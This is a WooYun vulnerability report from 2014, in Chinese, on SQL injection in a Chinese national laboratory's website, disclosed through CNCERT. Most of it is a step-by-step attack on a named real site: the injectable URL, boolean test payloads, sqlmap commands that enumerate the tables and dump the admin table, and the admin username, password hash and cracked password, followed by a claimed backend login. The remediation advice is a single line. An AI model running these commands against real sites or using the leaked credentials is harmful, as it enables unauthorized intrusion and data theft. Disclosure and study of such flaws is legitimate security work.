漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-077355
漏洞标题：某国家（联合）实验室官网存在SQL注入漏洞
相关厂商：cncert国家互联网应急中心
漏洞作者： 迷小邪
提交时间：2014-09-26 12:07
修复时间：2014-11-10 12:08
公开时间：2014-11-10 12:08
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-26： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-10： 细节向公众公开
简要描述：
新闻内容、研究机构等页面存在明显的SQL注入漏洞，可直接爆出表名、管理员用户名及密码
详细说明：
注入点：http://www.synl.ac.cn/cg_content.asp?id=87
先手动测试一下：
http://www.synl.ac.cn/cg_content.asp?id=87+and+1=1
页面显示正常；
http://www.synl.ac.cn/cg_content.asp?id=87+and+1=2
页面报错；
说明至少存在基于布尔的盲注！
漏洞证明：
1、用SqlMap工具得到表名：
python sqlmap.py -u http://www.synl.ac.cn/cg_content.asp?id=87 --tables
可以得到管理员表 admin
2、找到地址：http://www.synl.ac.cn/admin/index.asp
直接得到账号、密码的字段名：admin_name,admin_pass
对其验证码我已无力吐槽！直接在源码里上文本的有木有！在这里我就不自己写一个暴力破解工具来欺负你们了
3、直接猜解账号密码：python sqlmap.py -u http://www.synl.ac.cn/cg_content.asp?id=87 --dump -T admin -C admin_name,admin_pass
经MD5解密后的账号密码为：
用户名：admin
密码：abbebea991d8b123
解密：1013
4、成功登陆后台：http://www.synl.ac.cn/admin/index.asp
修复方案：
1、过滤关键字
2、好歹换一个图片的验证码OK？
版权声明：转载请注明来源 迷小邪@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2014-09-29 10:50
厂商回复：
最新状态：
暂无